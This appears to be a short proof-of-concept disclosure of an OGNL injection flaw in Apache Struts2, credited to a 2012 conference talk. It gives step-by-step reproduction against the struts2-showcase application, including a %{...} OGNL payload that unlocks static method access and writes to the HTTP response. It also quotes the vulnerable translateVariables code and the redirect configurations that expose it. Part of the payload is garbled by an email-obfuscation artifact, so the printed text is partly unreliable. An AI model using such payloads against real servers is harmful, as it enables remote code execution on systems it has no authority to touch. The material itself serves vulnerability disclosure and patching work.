Apache Struts2 Remote Code Execution vulnerability detailed at xcon.xfocus.net. Method involves manipulating URLs to execute OGNL expressions and requires developer code updates to mitigate

Code
this method was published at xcon2012 xcon.xfocus.net.
kxlzx http://www.inbreak.net

flow this and step by step:

1, down load struts2-showcase from struts.apache.org
2, run struts2-showcase.
3, open url: 
http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV
4, write skill name to %{expr} for example:
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#[email protected]@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
5, submit and all will done.

this method:
public static String translateVariables(String expression, ValueStack stack) {
        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
    }
look two char "$" and "%"

and
this method:

    public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        for (char open : openChars) {
.........
            while (true) {
..........
                    String var = expression.substring(start + 2, end);

                    Object o = stack.findValue(var, asType);
............
if user input is "%{expr}"
this will execute ognl like:
${%{expr}}

this need devloper code like:

<action name="redirect" class="net.inbreak.RedirectAction">
       <result name="redirect" type="redirect">${redirectUrl}</result>
</action>

or like:
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
           <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>
